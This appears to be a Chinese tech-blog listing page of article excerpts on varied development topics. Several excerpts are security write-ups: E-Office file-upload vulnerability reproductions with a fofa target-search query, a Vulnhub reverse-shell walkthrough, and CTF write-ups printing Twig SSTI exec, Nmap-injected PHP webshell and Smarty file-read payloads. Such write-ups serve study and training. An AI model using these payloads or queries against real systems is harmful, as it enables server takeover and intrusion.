PHP
泛微E-Office UploadFile.php任意文件上传漏洞 CNVD-2021-49104
漏洞描述 在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件，攻击者可以通过该漏洞直接获取网站权限 漏洞复现 fofa语法：app="泛微-EOffice" 登录页面如下： POC： 再访问/images/logo/logo-eoffice.php nuclei批量yaml文件
泛微E-Office文件上传漏洞复现（CVE-2023-2523&CVE-2023-2648）
漏洞概述 cve-2023-2523 泛微e-office 9.5版本，源文件 App/Ajax/ajax.php?action=mobile_upload_save 的一些未知功能存在问题。 参数 upload_quwan 的操作导致不受限制的上传，未经身份验证的恶意攻击者通过上传恶意文件，从而获取目标服务器的控制权限。 cve-2023-2648 由于泛微e-office 9.5版本源文件/i
Vulnhub: INO: 1.0.1靶机
kali：192.168.111.111 靶机：192.168.111.234 信息收集 端口扫描 80端口目录爆破 漏洞利用 访问admin目录进入后台登录界面，登录处存在万能密码 登录后存在任意文件上传 上传后文件位置/lot/admin/assets/uploads/maps/ 获得反弹shell 提权 查看/etc/ppp/chap-secrets，得到ppp用户密码：E
git commit格式 git branch命名格式
git commit格式 在Git中，git commit命令用于将文件的更改提交到版本控制仓库。提交消息是非常重要的，因为它记录了对项目的更改的描述和目的。提交消息的格式通常遵循一些约定，以便更容易理解和维护项目的历史。以下是一种常见的提交消息格式： <类型>（必需）：表示此次提交的类型。常见的提交类型包括： feat（新功能）：添加新功能或功能改进。 fix（修复）：修复错误或问
百度上传下载组件源码
以ASP.NET Core WebAPI 作后端 API ，用 Vue 构建前端页面，用 Axios 从前端访问后端 API ,包括文件的上传和下载。 准备文件上传的API #region 文件上传 可以带参数 &nbs
Navicat中怎么查看数据库密码
https://blog.csdn.net/qq_35868412/article/details/110694727?ops_request_misc=&request_id=&biz_id=102&utm_term=%E5%A6%82%E4%BD%95%E6%9F%A5%E7%9C%8B%E8%87%AA%E5%B7%B1%E7%9A%84%E6%95%B0%E6%8D
win2016系统php7.4安装oracle oci8扩展
查看php版本，判断操作系统是否64位； phpinfo(); 判断PHP是否TS 查看Thread Safety的值，如果是disabled就是NTS，否则是TS，下载的时候要区分； 下载扩展oci8 2.2.0 for Windows：https://pecl.php.net/package/oci8/2.2.0/windows 下载并解压，把php_oci8.dll,php_oci8_
CDN如何绕过(详细)
CDN如何绕过（详细） #知识点： 0、CDN知识-工作原理及阻碍 1、CDN配置-域名&区域&类型 2、CDN绕过-靠谱十余种技战法 3、CDN绑定-HOSTS绑定指向访问 CDN 的全称是 Content Delivery Network，即内容分发网络 CDN 是构建在现有网络基础之上的智能虚拟网络，依靠部署在各地的边缘服务器，通过中
百度上传下载控件源码
我们平时经常做的是上传文件，上传文件夹与上传文件类似，但也有一些不同之处，这次做了上传文件夹就记录下以备后用。 首先我们需要了解的是上传文件三要素： 1.表单提交方式:post (get方式提交有大小限制,post没有) 2.表单的enctype属性:必须设置为multipart/form-data. 3.表单必须有文件上传项:file，且文件项需要给定name值 上传文件夹需要增
18 个一线工作中常用Shell 脚本（转）
1、检测两台服务器指定目录下的文件一致性 #!/bin/bash ###################################### 检测两台服务器指定目录下的文件一致性 ##################################### #通过对比两台服务器上文件的md5值，达到检测一致性的目的 dir=/data/web b_ip=192.168.88.10 #将指定目录下
直播软件开发，点击屏幕隐藏键盘的正确写法
直播软件开发，点击屏幕隐藏键盘的正确写法 方法一： - (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{ [self.view endEditing:YES];} 方法二： - (void)touchesEnded:(NSSet
直播开发app，Xcode如何添加字体，自定义字体
直播开发app，Xcode如何添加字体，自定义字体 1.网上搜索字体文件(后缀名为.ttf,或.odf) 2.把字体库导入到工程的resouce中 3.在程序viewdidload中加载一下一段代码 NSArray *familyNames = [UIFont familyNames];for( NSString *familyName in familyNames
android短视频开发，取消searchBar 背景颜色设置
android短视频开发，取消searchBar 背景颜色设置 _searchBar.backgroundColor = [UIColor clearColor]; _searchBar.backgroundImage = [self imageWithColor:[UIColor clearColor] size:_searchBar.boun
BUUCTF [BJDCTF2020]Cookie is so stable
考点：SSTI的Twig模板注入 尝试多次后（别人），发现是SSTI注入 输入{{7*7}}和{{7*'7'}}，返回的结果是 返回49表示是Twig模块。 由于是Twig注入，所以是有固定的payload：{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}查看id {{_self.
微信支付v3接入流程 php版
laravel版微信支付怎么接入？话不多说，直接上干货。 第一步，公众号及支付平台获取相关数据 appidappsecretmchid证书证书序列号v3key 第二步，下载SDK composer require wechatpay/wechatpay 第三步，生成证书 composer exec CertificateDownloader.php -- -k QJOm2R36vRotFOH1In
Vue3 组件封装——文件上传
1. 默认方法 使用 input 标签 设置 type = file <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge">
BUUCTF [BUUCTF 2018]Online Tool
首先访问网站得到需要分析的代码 代码中这两个函数比较特殊，即escapeshell函数的： 这两个函数按代码里这样的顺序使用，是会产生漏洞的，反之就不会。 escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 功能 ：escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号， 这样以确保能够直接将一个字符串传入 she
Linux安装高版本MariaDB
Linux安装高版本MariaDB #停止服务 systemctl stop mariadb #卸载 yum remove mariadb-server #检查卸载残留 ps aux | grep mariadb ps aux | grep mysql find / -name mysql 上述查询存在目录就 rm -rf 上述存在的目录 #执行新的安装 cd /etc/yum.
BUUCTF [网鼎杯 2020 朱雀组]Nmap
payload：127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml ' 最后用蚁剑连接，得到flag{04630fdb-7b7d-4282-a334-b35954b56c1d} 参考链接： https://blog.csdn.net/weixin_44037296/article/details/110893526
AIGC,人工智能,项目管理,禅道,项目管理软件,敏捷开发
1950年，艾伦·图灵提出了著名的“图灵测试”给出了判定机器是否具有“智能”的试验方法。从某种程度上，人工智能从那时起就被赋予了用于内容创作的期许。 经过了半个多世纪的发展，随着数据快速积累、算力性能提升和算法效力增强，我们似乎进入到了一个新的纪元：AIGC迅速火爆全球。 那么AIGC到底是什么？它会给我们的生活带来哪些影响？我们又将面临哪些挑战和机遇？本篇文章将带领大家系统了解AIGC。 &nb
后端工程师求职实录：二线城市就业攻略与心得分享
这篇文章内容来自 「升职加薪」星球星友 的投稿，坐标二线，去年毕业，只有实习经验，无真实项目经验，自学一段时间后，在找Golang后端开发的工作。 先说下这位朋友的自我面评： 上周在二线城市大概约到了4个面试，自我感觉八股文回答的还可以，因为星球中的面试题没少背。 但是问项目的问题就很垮，或者说是特别垮，因为并没有真实的一年工作经验，有很多东西不知道怎么说，经不起推敲。 我帮他做了面试
ingress正则表达式
如何使用 Nginx Ingress 快速实现 URL 重写 奇妙的Linux世界 2023-09-04 08:26 发表于重庆 以下文章来源于云原生运维圈 ，作者船长 云原生运维圈. 专注于云原生运维技术分享，致敬每个爱学习的你！ 公众号关注 「奇妙的 Linux 世界」设为「星标」，每天带你玩转 Linux ！ 什么是UR
解决WordPress修改固定链接结构后出现“404 Not Found”的情况
解决办法 在宝塔面板找到部署的站点设置 点击进入配置文件，复制下方这段代码粘贴进入配置文件，操作完这步，去刷新下我们的网站，再打开文章链接就可以正常打开、访问了。 location / { try_files $uri $uri/ /index.php?$args; } rewrite /wp-admin$ $scheme://$host$uri/ permanent; &n
Docker一键部署LNMP
转载自好友 随遇而安 的博文。 项目地址 Github 项目地址: https://github.com/ZvonimirSun/dnmp 简介 通过 Docker 一键部署 LNMP。包含以下内容： nginx:alpine 说明 已支持 TLS 1.3 网站目录: ./nginx/html(docker 内 /usr/share/nginx/html) 虚拟主机配置目录: ./ngi
BUUCTF [CISCN2019 华东南赛区]Web11
切入点如图： 测试模板注入 最后 或者payload：X-Forwarded-For:{if readfile('/flag')}{/if} 原理是Smarty已经废弃{php}标签。在Smarty 3.1，{php}仅在SmartyBC中可用。 Smarty的{if}条件判断和PHP的if非常相似，只是增加了一些特性。每个{if}必须有一个配对的{/if}。全部的PHP条件表达式和函数都可
MySQL的基本概念和常见用法
MySQL是一种流行的开源关系型数据库管理系统（RDBMS），广泛用于开发Web应用程序和管理数据。以下是MySQL的知识大纲，涵盖了MySQL的基本概念和常见用法： 1. 数据库基础 什么是数据库？ 什么是关系型数据库？ 数据库管理系统（DBMS）的作用。 MySQL的历史和发展。 2. 安装和配置 下载和安装MySQL服务器。 配置MySQL服务器。 启动和停止MySQL服务。 3.
php laravel 视频以流（Stream）动态生成视频响应，不直接返回视频地址
第一步在根目录路由里routes/web.php添加路由访问 在appHttpControllersTest.php新建控制器 直接访问地址就可以看到视频了，但是还是阻止不了前端可以下载视频，可以视频加密或者流媒体服务器，百度吧。我也没搞过 前端加个video就可以看了
MAT使用Memory Analyzer分析内存溢出问题（分析hprof文件）
1.生成dumphttps://codeleading.com/article/66886036306/ 2.MAT分析https://www.rstk.cn/news/1446356.html?action=onClick 下载:(2019年之前) https://eclipse.dev/mat/downloads.php
Mysql中锁的使用场景是什么
三、常用引擎间的区别 MyISAM 操作数据都是使用的表锁，你更新一条记录就要锁整个表，导致性能较低，并发不高。当然同时它也不会存在死锁问题。 而 InnoDB 与 MyISAM 的最大不同有两点：一是 InnoDB 支持事务；二是 InnoDB 采用了行级锁。 在 Mysql 中，行级锁并不是直接锁记录，而是锁索引。索引分为主键索引和非主键索引两种，如果一条sql 语句操作了主键索引，Mysq